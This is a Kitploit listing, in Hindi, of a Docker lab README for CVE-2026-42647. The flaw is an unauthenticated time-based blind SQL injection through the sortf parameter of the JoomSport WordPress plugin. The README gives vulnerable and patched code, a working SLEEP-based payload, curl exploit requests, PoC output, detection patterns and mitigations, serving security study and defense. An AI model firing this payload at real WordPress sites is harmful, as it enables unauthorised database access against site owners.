Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-42647-Lab — Docker-आधारित प्रयोगशाला CVE-2026-42647 के पुनरुत्पादन के लिए, जो JoomSport वर्डप्रेस प्लगइन में sortf पैरामीटर के माध्यम से एक अप्रमाणित समय-आधारित ब्लाइंड SQL इंजेक्शन है। तुलना के लिए असुरक्षित और पैच किए गए लक्ष्य शामिल हैं। | Kitploit
उपकरण/GitHubGitHub/rootdirective-sec/cve-2026-42647-lab
भेद्यता विश्लेषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubrootdirective-sec/cve-2026-42647-lab

CVE-2026-42647-Lab

Docker-आधारित प्रयोगशाला CVE-2026-42647 के पुनरुत्पादन के लिए, जो JoomSport वर्डप्रेस प्लगइन में sortf पैरामीटर के माध्यम से एक अप्रमाणित समय-आधारित ब्लाइंड SQL इंजेक्शन है। तुलना के लिए असुरक्षित और पैच किए गए लक्ष्य शामिल हैं।

रिपॉजिटरी देखें
2 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-42647 - JoomSport अप्रमाणित समय-आधारित ब्लाइंड SQL इंजेक्शन sortf के माध्यम से

कार्यकारी सारांश

इस रिपॉज़िटरी में CVE-2026-42647 को पुन: उत्पन्न करने और मान्य करने के लिए एक स्थानीय Docker लैब है, जो WordPress प्लगइन JoomSport - for Sports: Team & League, Football, Hockey & more को प्रभावित करने वाली एक अप्रमाणित SQL इंजेक्शन कमजोरी है।

कमजोर व्यवहार खिलाड़ी सूची क्रमबद्ध सुविधा में होता है। एक सार्वजनिक आगंतुक sortf क्वेरी पैरामीटर को नियंत्रित कर सकता है, जिसका उपयोग SQL ORDER BY खंड बनाने के लिए किया जाता है। कमजोर संस्करणों में, मान को टेक्स्ट के रूप में संसाधित किया जाता है और बैकटिक्स में लपेटा जाता है, लेकिन SQL क्वेरी में जोड़े जाने से पहले एक सख्त अनुमति सूची के विरुद्ध मान्य नहीं किया जाता है।

यह लैब दो JoomSport संस्करणों की तुलना करता है:

सेवाJoomSport संस्करणउद्देश्यURL
vuln5.7.6कमजोर तुलना लक्ष्यhttp://localhost:8081
patched5.7.8पैच किया गया तुलना लक्ष्यhttp://localhost:8082

सार्वजनिक परामर्श 5.7.8 से पहले के संस्करणों को प्रभावित और 5.7.8 को निश्चित संस्करण के रूप में पहचानते हैं। यह लैब 5.7.6 का उपयोग कमजोर लक्ष्य के रूप में करता है क्योंकि इस लैब को तैयार करने के समय WordPress.org प्लगइन SVN टैग लिस्टिंग में 5.7.7 स्रोत टैग उपलब्ध नहीं था।

प्रदर्शित कमजोरी श्रृंखला है:```text Unauthenticated visitor → JoomSport season player list route → attacker-controlled sortf parameter → unsafe dynamic ORDER BY construction → SQL expression execution → measurable database delay in vulnerable version → patched version rejects the injected sort field and falls back to a safe allowlisted field

root@kitploit:~
यह लैब भेद्यता को समय-आधारित ब्लाइंड SQL इंजेक्शन के रूप में मान्य करता है। यह डेटाबेस डंपिंग, क्रेडेंशियल निष्कर्षण, डेटा संशोधन, या विनाशकारी SQL संचालन नहीं करता है।

यह लैब केवल नियंत्रित स्थानीय अनुसंधान, स्रोत-स्तरीय समझ, और पोर्टफोलियो प्रदर्शन के लिए डिज़ाइन किया गया है।

## Verified Facts

| दावा                                                                           | साक्ष्य                                                                                                                     | इस लैब में कैसे सत्यापित करें                                                  |
| ------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- |
| JoomSport 5.7.8 से पहले के संस्करण में बिना प्रमाणीकरण के SQL इंजेक्शन की सूचना दी गई है। | सार्वजनिक सलाहकारियाँ JoomSport `< 5.7.8` / `<= 5.7.7` को प्रभावित बताती हैं।                                                     | संदर्भ अनुभाग की समीक्षा करें और कमजोर/पैच की गई सेवाओं की तुलना करें। |
| JoomSport 5.7.8 स्थिर संस्करण है।                                           | सार्वजनिक सलाहकारियाँ और स्रोत तुलना दर्शाती हैं कि 5.7.8 ऑर्डरिंग एक्सप्रेशन बनाने से पहले `sortf` मान को मान्य करता है। | दोनों संस्करणों में `class-jsport-playerlist.php` का निरीक्षण करें।                    |
| प्रभावित पैरामीटर `sortf` है।                                              | कमजोर प्लेयर सूची कोड `classJsportRequest::get('sortf')` पढ़ता है।                                                    | PoC चलाएँ और इंजेक्ट किए गए `sortf` अनुरोध का निरीक्षण करें।                      |
| कमजोर कोड उपयोगकर्ता इनपुट से एक गतिशील SQL ऑर्डरिंग मान बनाता है।        | कमजोर संस्करण में, `sortf` का उपयोग `$options['ordering']` बनाने के लिए किया जाता है।                                                  | `sportleague/classes/objects/class-jsport-playerlist.php` का निरीक्षण करें।         |
| SQL सिंक एक `ORDER BY` क्लॉज़ है।                                           | उत्पन्न `$ordering` मान बाद में `ORDER BY` के साथ SQL क्वेरी में जोड़ा जाता है।                                         | `sportleague/base/wordpress/classes/class-jsport-getplayers.php` का निरीक्षण करें।  |
| पैच अनुमति-सूची-शैली सुधार का उपयोग करता है।                                          | पैच किए गए संस्करण में सॉर्ट फ़ील्ड का उपयोग करने से पहले अनुमत स्थिर कॉलम और अपेक्षित गतिशील फ़ील्ड पैटर्न शामिल किए गए हैं।       | JoomSport 5.7.6 और 5.7.8 स्रोत की तुलना करें।                                  |
| लैब समय-आधारित ब्लाइंड SQL इंजेक्शन प्रदर्शित करता है।                            | जब इंजेक्ट किया गया `SLEEP()` एक्सप्रेशन उपयोग किया जाता है तो कमजोर लक्ष्य विलंब करता है; पैच किया गया लक्ष्य ऐसा नहीं करता।                     | `python3 poc/poc.py http://localhost:8081 http://localhost:8082` चलाएँ।      |

## Assumptions and Unknowns

यह लैब JoomSport 5.7.6 का उपयोग कमजोर तुलना लक्ष्य के रूप में करता है क्योंकि सार्वजनिक स्थिर संस्करण 5.7.8 है और लैब तैयार करते समय WordPress.org प्लगइन SVN टैग सूची में 5.7.7 स्रोत टैग उपलब्ध नहीं था।

लैब यह दावा नहीं करता है कि 5.7.6 ही एकमात्र कमजोर संस्करण है। इसका उपयोग पैच किए गए 5.7.8 व्यवहार के मुकाबले कमजोर व्यवहार की तुलना करने के लिए एक पुनरुत्पादनीय कमजोर आधार रेखा के रूप में किया जाता है।

लैब प्लेयर सूची सॉर्टिंग प्रवाह में `sortf` पैरामीटर पर केंद्रित है।

प्रदर्शित प्रभाव समय-आधारित ब्लाइंड SQL इंजेक्शन है। लैब निम्नलिखित प्रदर्शित नहीं करता है:

* प्रत्यक्ष डेटाबेस डंपिंग,
* क्रेडेंशियल निष्कर्षण,
* प्रमाणीकरण बाईपास,
* विशेषाधिकार वृद्धि,
* मनमाना डेटा संशोधन,
* दूरस्थ कोड निष्पादन,
* स्थायित्व,
* बाहरी कॉलबैक,
* या गैर-लैब प्रणालियों के विरुद्ध हमले।

त्रुटि-आधारित या बूलियन-आधारित व्यवहार डेटाबेस व्यवहार, एप्लिकेशन कॉन्फ़िगरेशन और प्रतिक्रिया अंतर के आधार पर संभव हो सकता है, लेकिन यह लैब उन तकनीकों पर निर्भर नहीं करता है। प्राथमिक प्रमाण समय-आधारित है।

## Root Cause Summary

मूल कारण `sortf` अनुरोध पैरामीटर से एक गतिशील SQL `ORDER BY` क्लॉज़ का असुरक्षित निर्माण है।

कमजोर कोड पथ यहाँ से शुरू होता है:```text
sportleague/classes/objects/class-jsport-playerlist.php

खिलाड़ी सूची लोडिंग लॉजिक के अंदर, JoomSport अनुरोध पैरामीटर पढ़ता है:```text sortf

root@kitploit:~
और इसका उपयोग निर्माण करने के लिए करता है:```text
$options['ordering']

प्रासंगिक कमजोर स्रोत पैटर्न है:```php if (classJsportRequest::get('sortf')) { $typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC"; $options['ordering'] = str_replace(" ","",sanitize_text_field("".classJsportRequest::get('sortf')."")).' '.$typeAD; }

root@kitploit:~
समस्या मुख्य रूप से `sortd` पैरामीटर की नहीं है। `sortd` मान इन तक सीमित है:```text
ASC
DESC

समस्या sortf पैरामीटर की है क्योंकि यह SQL पहचानकर्ता/एक्सप्रेशन स्थिति को नियंत्रित करता है जिसका उपयोग सॉर्टिंग के लिए किया जाता है।

खतरनाक अभिव्यक्ति है:```php "".classJsportRequest::get('sortf').""

root@kitploit:~
कोड हमलावर-नियंत्रित इनपुट को MySQL पहचानकर्ता संदर्भ में रखता है और फिर इसे SQL क्रमबद्धन खंड के रूप में आगे भेजता है।

कोड लागू करता है:```php
sanitize_text_field()

लेकिन sanitize_text_field() SQL पहचानकर्ता सत्यापन नहीं है। यह टेक्स्ट को साफ करने के लिए डिज़ाइन किया गया है, SQL सिंटैक्स को सुरक्षित रूप से बनाने के लिए नहीं।

कमजोर कोड उपयोगकर्ता-नियंत्रित सॉर्ट फ़ील्ड को बैकटिक्स में लपेटता है। हालांकि, बैकटिक्स सुरक्षा सीमा नहीं हैं जब हमलावर पहचानकर्ता सामग्री को प्रभावित कर सकता है। यदि कोई हमलावर मान में बैकटिक इंजेक्ट कर सकता है, तो वे इच्छित पहचानकर्ता संदर्भ से बाहर निकल सकते हैं।

उत्पन्न ऑर्डरिंग मान बाद में प्लेयर रिट्रीवल क्वेरी में पास किया जाता है और इसमें SQL ORDER BY क्लॉज़ में जोड़ा जाता है:```text sportleague/base/wordpress/classes/class-jsport-getplayers.php

root@kitploit:~
सिंक पैटर्न है:```php
$query .= ' ORDER BY '.($ordering);

यह असुरक्षित डेटा प्रवाह बनाता है:```text sortf request parameter → classJsportRequest::get('sortf') → $options['ordering'] → $ordering → ORDER BY

root@kitploit:~
सुरक्षा समस्या यह है कि एप्लिकेशन उपयोगकर्ता-नियंत्रित अनुरोध पैरामीटर को एक SQL identifier/expression के रूप में मानता है, बिना पहले इसे एक सख्त allowlist के विरुद्ध मान्य किए।

## स्रोत पैच सारांश

प्रासंगिक पैच इसमें है:```text
sportleague/classes/objects/class-jsport-playerlist.php

कमजोर संस्करण में, प्लेयर सूची कोड $options['ordering'] को सीधे अनुरोध मान से बनाता है:```php if (classJsportRequest::get('sortf')) { $typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC"; $options['ordering'] = str_replace(" ","",sanitize_text_field("".classJsportRequest::get('sortf')."")).' '.$typeAD; }

root@kitploit:~
`classJsportRequest::get('sortf')` का उपयोग SQL ऑर्डरिंग एक्सप्रेशन के अंदर किया जाता है, यही कमजोर हिस्सा है।

JoomSport 5.7.8 इस व्यवहार को बदलता है, `$options['ordering']` बनाने से पहले एक मान्य (validated) सॉर्ट-फील्ड वेरिएबल शुरू करके।

पैच किया गया संस्करण एक सुरक्षित डिफ़ॉल्ट आरंभ करता है:```php
$sortFieldEsc = 'post_title';

यह फिर अनुमत स्थिर सॉर्ट कॉलम को परिभाषित करता है:```php $sortCols = array("played", "career_minutes", "post_title");

root@kitploit:~
जब `sortf` मौजूद है, तो पैच किया गया कोड इसे केवल तभी स्वीकार करता है जब यह अपेक्षित स्थिर मानों में से एक से मेल खाता है:```php
if (in_array(classJsportRequest::get('sortf'), $sortCols)) {
    $sortFieldEsc = classJsportRequest::get('sortf');
}

पैच अपेक्षित गतिशील घटना/सांख्यिकी फ़ील्ड प्रारूपों की भी अनुमति देता है:```php if (preg_match('/^eventid_\d+$/', classJsportRequest::get('sortf'))) { $sortFieldEsc = classJsportRequest::get('sortf'); }

if (preg_match('/^ef_\d+$/', classJsportRequest::get('sortf'))) { $sortFieldEsc = classJsportRequest::get('sortf'); }

root@kitploit:~
अंतिम सुरक्षा-संबंधित परिवर्तन यह है कि `$options['ordering']` को कच्चे `sortf` अनुरोध मान के बजाय `$sortFieldEsc` से बनाया गया है:```diff
- $options['ordering'] = str_replace(" ","",sanitize_text_field("`".classJsportRequest::get('sortf')."`")).' '.$typeAD;
+ $options['ordering'] = str_replace(" ","",sanitize_text_field("`".$sortFieldEsc."`")).' '.$typeAD;

यह डायनामिक सॉर्टिंग को नहीं हटाता है। यह ट्रस्ट बाउंड्री को बदलता है।

पैच से पहले:```text request sortf value directly controlled the ORDER BY identifier

root@kitploit:~
पैच के बाद:```text
request sortf value can only influence ORDER BY if it matches an allowed column name or an expected dynamic field pattern

यदि हमलावर कोई अप्रत्याशित मान भेजता है, जैसे:```text post_title`DESC,(SLEEP(2))#

root@kitploit:~
पैच किया गया कोड उस मान को `$sortFieldEsc` को असाइन नहीं करता। इसके बजाय, सॉर्ट फ़ील्ड इसमें वापस आ जाता है:```text
post_title

यही कारण है कि कमजोर सेवा में देरी होती है, जबकि पैच की गई सेवा आधार रेखा समय के करीब रहती है।

पैच से सुरक्षा सबक यह है:```text Dynamic SQL identifiers such as ORDER BY columns must be validated with strict allowlists. Text sanitization and backtick wrapping are not sufficient for SQL identifier safety.

root@kitploit:~
## प्रयोगशाला वास्तुकला

यह लैब Docker Compose के माध्यम से दो अलग-अलग WordPress इंस्टॉलेशन चलाती है।```text
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── scripts/
│   └── init-wordpress.sh
├── poc/
│   └── poc.py
├── README.md
└── .gitignore

दो WordPress सेवाएँ अलग-अलग डेटाबेस और अलग-अलग प्लगइन संस्करण चलाती हैं:

ServiceComponentVersion / Role
vulnWordPress + JoomSportJoomSport 5.7.6
patchedWordPress + JoomSportJoomSport 5.7.8
db-vulnMariaDBअसुरक्षित लक्ष्य के लिए डेटाबेस
db-patchedMariaDBपैच किए गए लक्ष्य के लिए डेटाबेस
setup-vulnWP-CLI आरंभ सेवाWordPress स्थापित करता है और असुरक्षित लक्ष्य को सीड करता है
setup-patchedWP-CLI आरंभ सेवाWordPress स्थापित करता है और पैच किए गए लक्ष्य को सीड करता है

डिफ़ॉल्ट रूप से उजागर सेवाएँ:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082

root@kitploit:~
सेटअप प्रक्रिया खिलाड़ी सूची रूट को प्रस्तुत करने के लिए आवश्यक न्यूनतम JoomSport डेटा बनाती है:```text
joomsport_season
joomsport_team
joomsport_player
wp_joomsport_playerlist rows

असुरक्षित और पैच किए गए सेवाएँ समान लैब डेटा आकार का उपयोग करती हैं ताकि समय व्यवहार की निष्पक्ष तुलना की जा सके।

आवश्यकताएँ

  • Docker Desktop या Docker Engine
  • Docker Compose v2
  • Python 3
  • Python requests पैकेज (होस्ट से PoC चलाने के लिए)
  • Docker इमेज बिल्ड के दौरान WordPress/JoomSport निर्भरताएँ प्राप्त करने के लिए इंटरनेट एक्सेस

यदि आवश्यक हो तो होस्ट पर Python निर्भरता स्थापित करें:```bash python3 -m pip install requests

root@kitploit:~
## त्वरित आरंभ

लैब प्रारंभ करें:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

सेटअप कंटेनरों पर नज़र रखें:```bash docker compose logs -f setup-vuln setup-patched

root@kitploit:~
सेटअप पूर्णता संदेश अपेक्षित:```text
[VULN] setup complete
[PATCHED] setup complete

कंटेनर की स्थिति जांचें:```bash docker compose ps

root@kitploit:~
अपेक्षित उजागर सेवाएं:```text
http://localhost:8081
http://localhost:8082

कमजोर लक्ष्य के खिलाफ PoC चलाएँ:```bash python3 poc/poc.py http://localhost:8081

root@kitploit:~
पैच किए गए लक्ष्य के विरुद्ध PoC चलाएँ:```bash
python3 poc/poc.py http://localhost:8082

एक कमांड में दोनों लक्ष्यों के विरुद्ध PoC चलाएँ:```bash python3 poc/poc.py http://localhost:8081 http://localhost:8082

root@kitploit:~
अधिक स्थिर समय आँकड़ों के लिए, राउंड की संख्या बढ़ाएँ:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5

आप अनुरोधित स्लीप समय को भी समायोजित कर सकते हैं:```bash python3 poc/poc.py http://localhost:8081 --sleep 3 --rounds 5

root@kitploit:~
## PoC उपयोग

PoC प्रत्येक लक्ष्य की स्वतंत्र रूप से जाँच करता है।

अब इसे अलग `--vuln-url` या `--patched-url` विकल्पों की आवश्यकता नहीं है। इसके बजाय, एक या अधिक लक्ष्य URL को स्थितीय तर्क के रूप में पास करें:```bash
python3 poc/poc.py <target_url> [target_url...]

उदाहरण:```bash python3 poc/poc.py http://localhost:8081 python3 poc/poc.py http://localhost:8082 python3 poc/poc.py http://localhost:8081 http://localhost:8082

root@kitploit:~
यदि कोई लक्ष्य URL प्रदान नहीं किया जाता है, तो स्क्रिप्ट एक या अधिक स्थानीय लक्ष्य URL के लिए इंटरैक्टिव रूप से संकेत देती है।

समर्थित विकल्प:```text
--season-id   Seeded JoomSport season post ID. Default: 4
--rounds      Number of requests per baseline/injected series. Default: 3
--sleep       SLEEP() seconds used in the timing payload. Default: 2

PoC जानबूझकर local-scope है। यह localhost-style लक्ष्यों को स्वीकार करता है जैसे:```text http://localhost:8081 http://localhost:8082 http://127.0.0.1:8081 http://127.0.0.1:8082

root@kitploit:~
PoC डिफ़ॉल्ट रूप से गैर-स्थानीय लक्ष्यों को अस्वीकार करता है।

## PoC कैसे निर्णय लेता है

प्रत्येक लक्ष्य के लिए, PoC दो समय श्रृंखलाएं निष्पादित करता है:```text
[1/2] Baseline timing
[2/2] Injected timing

आधारभूत अनुरोध एक सामान्य सॉर्ट फ़ील्ड का उपयोग करता है:```text sortf=post_title

root@kitploit:~
इंजेक्टेड अनुरोध `sortf` पैरामीटर में केवल-स्थानीय टाइमिंग पेलोड का उपयोग करता है:```text
sortf=post_title`DESC,(SLEEP(2))#

PoC गणना करता है:```text delta = injected median - baseline median

root@kitploit:~
फिर यह लक्ष्य को वर्गीकृत करता है:

| निर्णय           | अर्थ                                                     |
| ----------------- | ----------------------------------------------------------- |
| `VULNERABLE-LIKE` | इंजेक्ट किया गया रिक्वेस्ट बेसलाइन की तुलना में काफी धीमा है। |
| `PATCHED-LIKE`    | इंजेक्ट किया गया रिक्वेस्ट बेसलाइन के करीब रहता है।                   |
| `UNREACHABLE`     | लक्ष्य तक पहुंचा नहीं जा सका।                            |
| `INCONCLUSIVE`    | कुछ समय डेटा गायब या अधूरा था।                 |

डिफ़ॉल्ट निर्णय नियम:```text
injected median - baseline median >= 60% of requested SLEEP()

डिफ़ॉल्ट --sleep 2 के लिए, थ्रेशोल्ड है:```text 1.200s median delta

root@kitploit:~
इसका मतलब है कि किसी लक्ष्य को केवल `VULNERABLE-LIKE` के रूप में रिपोर्ट किया जाता है जब इंजेक्टेड अनुरोध अपने स्वयं के बेसलाइन से स्पष्ट रूप से धीमा होता है।

अप्राप्य या अनिर्णायक लक्ष्यों को पैच के रूप में नहीं गिना जाता है।

## curl के साथ मैन्युअल HTTP प्रतिकृति

आप बिना Python PoC का उपयोग किए मैन्युअल रूप से वैलिडेशन की प्रतिकृति बना सकते हैं।

असुरक्षित बेसलाइन अनुरोध:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
  'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'

असुरक्षित इंजेक्टेड अनुरोध:```bash curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n'
'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC'

root@kitploit:~
पैच किया गया आधार रेखा अनुरोध:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
  'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'

पैच किया गया इंजेक्टेड अनुरोध:```bash curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n'
'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC'

root@kitploit:~
अपेक्षित तुलना:```text
JoomSport 5.7.6 vulnerable -> injected request is significantly slower
JoomSport 5.7.8 patched    -> injected request stays near baseline timing

अपेक्षित आउटपुट

कमजोर लक्ष्य

कमांड:```bash python3 poc/poc.py http://localhost:8081

root@kitploit:~
अपेक्षित संवेदनशील संकेत:```text
CVE-2026-42647 JoomSport local timing validation
Scope     : localhost / Docker lab only
Technique : time-based blind SQL injection check in ORDER BY via sortf
Logic     : baseline timing vs injected timing per target

Targets           : 1
Rounds per series : 3
Requested SLEEP() : 2s
Decision threshold: 1.200s median delta

================================================================================================
Target: http://localhost:8081/
================================================================================================
Season post ID : 4
Baseline sortf : post_title
Injected sortf : post_title`DESC,(SLEEP(2))#

[1/2] Baseline timing
  run 01: status=200 time=0.092s bytes=75333
  run 02: status=200 time=0.044s bytes=75333
  run 03: status=200 time=0.046s bytes=75333
  summary   median=0.046s mean=0.061s min=0.044s max=0.092s stdev=0.027s
  summary   status=200x3 bytes=75333

[2/2] Injected timing
  run 01: status=200 time=6.050s bytes=75321
  run 02: status=200 time=6.058s bytes=75321
  run 03: status=200 time=6.095s bytes=75321
  summary   median=6.058s mean=6.068s min=6.050s max=6.095s stdev=0.024s
  summary   status=200x3 bytes=75321

Target decision
------------------------------------------------------------------------------------------------
Baseline median : 0.046s
Injected median : 6.058s
Delta           : 6.011s
Ratio           : 130.8x
Threshold       : 1.200s
Verdict         : VULNERABLE-LIKE

Interpretation  : injected timing is significantly slower than baseline. This target behaves consistently with vulnerable sortf SQL injection.

अंतिम कमजोर सारांश:```text Final summary

Target Base med Inj med Delta Ratio Verdict

http://localhost:8081/ 0.046s 6.058s 6.011s 130.8x VULNERABLE-LIKE

VULNERABLE-LIKE targets: 1 PATCHED-LIKE targets : 0 UNREACHABLE targets : 0 INCONCLUSIVE targets : 0

RESULT: VULNERABLE BEHAVIOR OBSERVED At least one reachable target showed a reproducible timing delay when the injected sortf value was used.

root@kitploit:~
### पैच किया गया लक्ष्य

कमांड:```bash
python3 poc/poc.py http://localhost:8082

अपेक्षित पैच किया गया सिग्नल:```text Target decision

Baseline median : around normal baseline timing Injected median : around normal baseline timing Delta : below threshold Ratio : near 1.0x Threshold : 1.200s Verdict : PATCHED-LIKE

Interpretation : injected timing stays near baseline. This target behaves consistently with patched/fallback behavior.

root@kitploit:~
### एकाधिक लक्ष्य

कमांड:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082

अपेक्षित परिणाम:```text VULNERABLE-LIKE targets: 1 PATCHED-LIKE targets : 1 UNREACHABLE targets : 0 INCONCLUSIVE targets : 0

RESULT: VULNERABLE BEHAVIOR OBSERVED At least one reachable target showed a reproducible timing delay when the injected sortf value was used.

root@kitploit:~
### अप्राप्य लक्ष्य

यदि कोई लक्ष्य चल नहीं रहा है, तो PoC को `UNREACHABLE` रिपोर्ट करना चाहिए, न कि `PATCHED-LIKE`।

उदाहरण:```bash
python3 poc/poc.py http://localhost:8083

अपेक्षित निर्णय:```text Verdict : UNREACHABLE

Interpretation : the target could not be reached. No vulnerability decision was made for this target.

root@kitploit:~
अगम्य लक्ष्यों को पैच के रूप में नहीं गिना जाता है।

## PoC कैसे काम करता है

PoC एक सीडेड सीज़न पोस्ट के लिए JoomSport खिलाड़ी सूची रूट की जांच करता है।

लक्ष्य रूट इसके समतुल्य है:```text
GET /?post_type=joomsport_season&p=<SEASON_ID>&action=playerlist&sortf=<SORT_FIELD>&sortd=ASC

बेसलाइन अनुरोध का उपयोग करता है:```text sortf=post_title

root@kitploit:~
यह सामान्य खिलाड़ी सूची छँटाई उत्पन्न करना चाहिए।

इंजेक्टेड अनुरोध का उपयोग करता है:```text
sortf=post_title`DESC,(SLEEP(2))#

कमजोर कोड sortf को बैकटिक्स में लपेटता है और एक सॉर्ट दिशा जोड़ता है। इंजेक्ट किया गया मान इच्छित पहचानकर्ता संदर्भ से बाहर निकलने और ORDER BY क्लॉज में एक टाइमिंग एक्सप्रेशन प्रस्तुत करने के लिए डिज़ाइन किया गया है।

संकल्पनात्मक रूप से, कमजोर SQL टुकड़ा इस प्रकार हो जाता है:```sql ORDER BY post_title DESC, (SLEEP(2))

root@kitploit:~
`#` टिप्पणी मार्कर पीछे के बैकटिक और दिशा को इंजेक्ट किए गए एक्सप्रेशन में हस्तक्षेप करने से रोकता है। यह एक स्टैक्ड क्वेरी पेलोड नहीं है। यह इंजेक्ट नहीं करता:```sql
; SELECT SLEEP(2);

इसके बजाय, यह मौजूदा ORDER BY संदर्भ के अंदर एक SQL अभिव्यक्ति इंजेक्ट करता है।

पैच किया गया संस्करण इंजेक्ट की गई अभिव्यक्ति को निष्पादित नहीं करता है क्योंकि sortf मान की जाँच अनुमत सॉर्ट फ़ील्ड के विरुद्ध की जाती है और जब मान अप्रत्याशित होता है तो post_title पर वापस आ जाता है।

प्रभाव

यह लैब JoomSport प्लेयर सूची sortf पैरामीटर में एक अप्रमाणित समय-आधारित ब्लाइंड SQL इंजेक्शन प्रदर्शित करता है।

कमजोर संस्करण ORDER BY क्लॉज के माध्यम से एक इंजेक्ट की गई SQL टाइमिंग अभिव्यक्ति को निष्पादित करता है, जिससे स्पष्ट प्रतिक्रिया विलंब उत्पन्न होता है। पैच किए गए संस्करण में विलंब नहीं होता है क्योंकि इंजेक्ट किया गया सॉर्ट फ़ील्ड अस्वीकार कर दिया जाता है और एक सुरक्षित अनुमत सूची मान से बदल दिया जाता है।

लैब केवल समय-आधारित SQL निष्पादन को सिद्ध करता है। यह डेटा निष्कर्षण, डेटा संशोधन, प्रमाणीकरण बाईपास, विशेषाधिकार वृद्धि, या रिमोट कोड निष्पादन प्रदर्शित नहीं करता है।

पहचान और निगरानी

संभावित संकेतकों में असामान्य sortf मानों के साथ JoomSport प्लेयर सूची रूट्स पर सीधे अनुरोध शामिल हैं।

उदाहरण संदिग्ध अनुरोध पैटर्न:```text GET /?post_type=joomsport_season&p=&action=playerlist&sortf=<unexpected_value>&sortd=ASC

root@kitploit:~
संदिग्ध `sortf` विशेषताएँ:```text
backticks
parentheses
commas
SQL comments
SLEEP
IF
CASE
BENCHMARK
unexpected function-like strings

स्थानीय प्रयोगशाला अनुरोध का उदाहरण:```text sortf=post_title`DESC,(SLEEP(2))#

root@kitploit:~
अपेक्षित कमजोर संकेत:```text
HTTP 200 response with significant timing delay

अपेक्षित पैच सिग्नल:```text HTTP 200 response without significant timing delay

root@kitploit:~
संभावित उत्पादन निगरानी विचार:

* असामान्य `sortf` मानों के लिए वेब एक्सेस लॉग की समीक्षा करें।
* सॉर्टिंग पैरामीटर के अंदर SQL कीवर्ड या टिप्पणी मार्करों पर अलर्ट करें।
* छोटे पैरामीटर परिवर्तनों के साथ JoomSport प्लेयर सूची रूट्स के लिए बार-बार आने वाले अनुरोधों की निगरानी करें।
* JoomSport प्लेयर सूची तालिकाओं से संबंधित धीमी डेटाबेस क्वेरीज़ की निगरानी करें।
* धीमे अनुरोधों को सार्वजनिक अप्रमाणित ट्रैफ़िक के साथ सहसंबंधित करें।
* जाँच करें कि क्या JoomSport स्थापित है और क्या इसका संस्करण 5.7.8 से पुराना है।

## शमन और पैच नोट्स

JoomSport को 5.7.8 या बाद के संस्करण में अपग्रेड करें।

फिक्स्ड संस्करण `sortf` पैरामीटर को अपेक्षित सॉर्ट फ़ील्ड और डायनेमिक फ़ील्ड पैटर्न तक सीमित करता है। अप्रत्याशित मान सुरक्षित डिफ़ॉल्ट सॉर्ट फ़ील्ड पर वापस आ जाते हैं।

एप्लिकेशन-स्तरीय शमन मार्गदर्शन:

* JoomSport प्लगइन को अपग्रेड करें।
* सार्वजनिक WordPress साइटों पर पुराने प्लगइन संस्करणों को उजागर न करें।
* संदिग्ध `sortf` पैरामीटर के लिए वेब लॉग की समीक्षा करें।
* यदि तत्काल अपग्रेड संभव नहीं है तो केवल अस्थायी शमन के रूप में प्रभावित कार्यक्षमता को अक्षम या प्रतिबंधित करें।
* पैचिंग के प्रतिस्थापन के रूप में नहीं, बल्कि अस्थायी परत के रूप में Web Application Firewall नियम का उपयोग करें।
* डायनेमिक SQL पहचानकर्ताओं को सामान्य मानों से अलग व्यवहार करें: कॉलम नाम, तालिका नाम, सॉर्ट दिशाओं और समान SQL सिंटैक्स घटकों के लिए अनुमति सूची का उपयोग करें।

सबसे महत्वपूर्ण नियंत्रण अनुमति सूची है। अकेले एस्केपिंग डायनेमिक SQL पहचानकर्ताओं के लिए पूर्ण समाधान नहीं है।

## उपयोगी सत्यापन कमांड

चल रहे कंटेनरों की जाँच करें:```bash
docker compose ps

सेटअप लॉग देखें:```bash docker compose logs -f setup-vuln setup-patched

root@kitploit:~
वर्डप्रेस सेवाओं की जाँच करें:```bash
curl -I http://localhost:8081
curl -I http://localhost:8082

PoC को कमजोर सेवा के विरुद्ध चलाएं:```bash python3 poc/poc.py http://localhost:8081

root@kitploit:~
पैच किए गए सर्विस के विरुद्ध PoC चलाएँ:```bash
python3 poc/poc.py http://localhost:8082

